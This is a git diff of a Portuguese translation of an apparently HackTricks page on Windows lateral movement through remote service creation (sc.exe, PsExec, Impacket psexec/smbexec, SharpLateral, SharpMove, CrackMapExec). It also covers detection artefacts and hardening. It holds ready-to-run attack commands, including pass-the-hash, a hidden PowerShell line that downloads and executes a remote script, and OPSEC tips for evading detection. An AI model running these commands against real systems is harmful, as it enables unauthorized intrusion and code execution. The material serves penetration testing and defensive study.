Translated ['src/windows-hardening/lateral-movement/psexec-and-winexec.m

This commit is contained in:
Translator 2025-08-18 14:17:01 +00:00
parent 42863abb36
commit c6776402e6

View File

@ -4,46 +4,147 @@
## Como eles funcionam
O processo é descrito nos passos abaixo, ilustrando como os binários de serviço são manipulados para alcançar a execução remota em uma máquina alvo via SMB:
Essas técnicas abusam do Gerenciador de Controle de Serviços do Windows (SCM) remotamente via SMB/RPC para executar comandos em um host alvo. O fluxo comum é:
1. **Cópia de um binário de serviço para o compartilhamento ADMIN$ via SMB** é realizada.
2. **Criação de um serviço na máquina remota** é feita apontando para o binário.
3. O serviço é **iniciado remotamente**.
4. Ao sair, o serviço é **parado e o binário é deletado**.
1. Autenticar-se no alvo e acessar o compartilhamento ADMIN$ via SMB (TCP/445).
2. Copiar um executável ou especificar uma linha de comando LOLBAS que o serviço irá executar.
3. Criar um serviço remotamente via SCM (MS-SCMR sobre \PIPE\svcctl) apontando para esse comando ou binário.
4. Iniciar o serviço para executar o payload e, opcionalmente, capturar stdin/stdout via um pipe nomeado.
5. Parar o serviço e limpar (deletar o serviço e quaisquer binários deixados).
### **Processo de Execução Manual do PsExec**
Requisitos/pré-requisitos:
- Administrador Local no alvo (SeCreateServicePrivilege) ou direitos explícitos de criação de serviço no alvo.
- SMB (445) acessível e compartilhamento ADMIN$ disponível; Gerenciamento de Serviço Remoto permitido através do firewall do host.
- Restrições Remotas do UAC: com contas locais, a filtragem de token pode bloquear o admin pela rede, a menos que use o Administrador embutido ou LocalAccountTokenFilterPolicy=1.
- Kerberos vs NTLM: usar um nome de host/FQDN habilita Kerberos; conectar por IP muitas vezes recai no NTLM (e pode ser bloqueado em ambientes endurecidos).
Assumindo que há um payload executável (criado com msfvenom e ofuscado usando Veil para evadir a detecção de antivírus), nomeado 'met8888.exe', representando um payload meterpreter reverse_http, os seguintes passos são tomados:
### ScExec/WinExec Manual via sc.exe
- **Cópia do binário**: O executável é copiado para o compartilhamento ADMIN$ a partir de um prompt de comando, embora possa ser colocado em qualquer lugar no sistema de arquivos para permanecer oculto.
- Em vez de copiar o binário, também é possível usar um binário LOLBAS como `powershell.exe` ou `cmd.exe` para executar comandos diretamente a partir dos argumentos. Ex.: `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
- **Criação de um serviço**: Utilizando o comando `sc` do Windows, que permite consultar, criar e deletar serviços do Windows remotamente, um serviço chamado "meterpreter" é criado para apontar para o binário carregado.
- **Iniciando o serviço**: O passo final envolve iniciar o serviço, o que provavelmente resultará em um erro de "time-out" devido ao binário não ser um verdadeiro binário de serviço e falhar em retornar o código de resposta esperado. Este erro é irrelevante, pois o objetivo principal é a execução do binário.
O seguinte mostra uma abordagem mínima de criação de serviço. A imagem do serviço pode ser um EXE deixado ou um LOLBAS como cmd.exe ou powershell.exe.
```cmd
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
A observação do listener do Metasploit revelará que a sessão foi iniciada com sucesso.
[Saiba mais sobre o comando `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Encontre passos mais detalhados em: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- Você também pode usar o **binário PsExec.exe do Windows Sysinternals**:
![](<../../images/image (928).png>)
Ou acessá-lo via webddav:
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
```
- Você também pode usar [**SharpLateral**](https://github.com/mertdas/SharpLateral):
Notas:
- Espere um erro de timeout ao iniciar um EXE que não seja um serviço; a execução ainda acontece.
- Para permanecer mais amigável ao OPSEC, prefira comandos sem arquivo (cmd /c, powershell -enc) ou exclua artefatos deixados.
Encontre passos mais detalhados em: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
## Ferramentas e exemplos
### Sysinternals PsExec.exe
- Ferramenta clássica de administração que usa SMB para soltar PSEXESVC.exe em ADMIN$, instala um serviço temporário (nome padrão PSEXESVC) e faz proxy de I/O através de pipes nomeados.
- Exemplos de uso:
```cmd
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
```
- Você pode iniciar diretamente do Sysinternals Live via WebDAV:
```cmd
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
```
OPSEC
- Deixa eventos de instalação/desinstalação de serviço (o nome do serviço é frequentemente PSEXESVC, a menos que -r seja usado) e cria C:\Windows\PSEXESVC.exe durante a execução.
### Impacket psexec.py (semelhante ao PsExec)
- Usa um serviço embutido semelhante ao RemCom. Lança um binário de serviço transitório (nome comumente aleatório) via ADMIN$, cria um serviço (o padrão é frequentemente RemComSvc) e proxy I/O através de um pipe nomeado.
```bash
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
```
Artefatos
- EXE temporário em C:\Windows\ (8 caracteres aleatórios). O nome do serviço padrão é RemComSvc, a menos que substituído.
### Impacket smbexec.py (SMBExec)
- Cria um serviço temporário que gera cmd.exe e usa um pipe nomeado para I/O. Geralmente evita soltar um payload EXE completo; a execução de comandos é semi-interativa.
```bash
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
```
### SharpLateral e SharpMove
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) implementa vários métodos de movimento lateral, incluindo exec baseado em serviço.
```cmd
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- Você também pode usar [**SharpMove**](https://github.com/0xthirteen/SharpMove):
```bash
- [SharpMove](https://github.com/0xthirteen/SharpMove) inclui modificação/criação de serviço para executar um comando remotamente.
```cmd
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- Você também pode usar **Impacket's `psexec` e `smbexec.py`**.
- Você também pode usar CrackMapExec para executar através de diferentes backends (psexec/smbexec/wmiexec):
```bash
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
```
## OPSEC, detecção e artefatos
Artefatos típicos de host/rede ao usar técnicas semelhantes ao PsExec:
- Segurança 4624 (Tipo de Logon 3) e 4672 (Privilégios Especiais) no alvo para a conta de administrador utilizada.
- Segurança 5140/5145 Eventos de Compartilhamento de Arquivos e Detalhes de Compartilhamento de Arquivos mostrando acesso ADMIN$ e criação/escrita de binários de serviço (por exemplo, PSEXESVC.exe ou .exe aleatório de 8 caracteres).
- Segurança 7045 Instalação de Serviço no alvo: nomes de serviços como PSEXESVC, RemComSvc, ou personalizados (-r / -service-name).
- Sysmon 1 (Criação de Processo) para services.exe ou a imagem do serviço, 3 (Conexão de Rede), 11 (Criação de Arquivo) em C:\Windows\, 17/18 (Pipe Criado/Conectado) para pipes como \\.\pipe\psexesvc, \\.\pipe\remcom_*, ou equivalentes aleatórios.
- Artefato de Registro para EULA do Sysinternals: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 no host do operador (se não suprimido).
Ideias de caça
- Alerta em instalações de serviços onde o ImagePath inclui cmd.exe /c, powershell.exe, ou locais TEMP.
- Procure por criações de processos onde ParentImage é C:\Windows\PSEXESVC.exe ou filhos de services.exe executando como SYSTEM LOCAL executando shells.
- Marque pipes nomeados terminando com -stdin/-stdout/-stderr ou nomes de pipes de clone do PsExec bem conhecidos.
## Solucionando falhas comuns
- Acesso negado (5) ao criar serviços: não é realmente administrador local, restrições de UAC para contas locais, ou proteção contra manipulação de EDR no caminho do binário do serviço.
- O caminho da rede não foi encontrado (53) ou não foi possível conectar ao ADMIN$: firewall bloqueando SMB/RPC ou compartilhamentos de administrador desativados.
- Kerberos falha, mas NTLM está bloqueado: conecte usando hostname/FQDN (não IP), assegure SPNs adequados, ou forneça -k/-no-pass com tickets ao usar Impacket.
- O tempo de início do serviço expira, mas o payload foi executado: esperado se não for um binário de serviço real; capture a saída em um arquivo ou use smbexec para I/O ao vivo.
## Notas de endurecimento (mudanças modernas)
- Windows 11 24H2 e Windows Server 2025 exigem assinatura SMB por padrão para conexões de saída (e Windows 11 de entrada). Isso não quebra o uso legítimo do PsExec com credenciais válidas, mas previne abusos de relay SMB não assinado e pode impactar dispositivos que não suportam assinatura.
- O novo bloqueio NTLM do cliente SMB (Windows 11 24H2/Server 2025) pode impedir o fallback NTLM ao conectar por IP ou a servidores não-Kerberos. Em ambientes endurecidos, isso quebrará PsExec/SMBExec baseado em NTLM; use Kerberos (hostname/FQDN) ou configure exceções se necessário legitimamente.
- Princípio do menor privilégio: minimize a associação de administrador local, prefira Just-in-Time/Just-Enough Admin, aplique LAPS e monitore/alarme sobre instalações de serviços 7045.
## Veja também
- Execução remota baseada em WMI (geralmente mais sem arquivos):
{{#ref}}
lateral-movement/wmiexec.md
{{#endref}}
- Execução remota baseada em WinRM:
{{#ref}}
lateral-movement/winrm.md
{{#endref}}
## Referências
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- Endurecimento de segurança SMB no Windows Server 2025 & Windows 11 (assinatura por padrão, bloqueio NTLM): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
{{#include ../../banners/hacktricks-training.md}}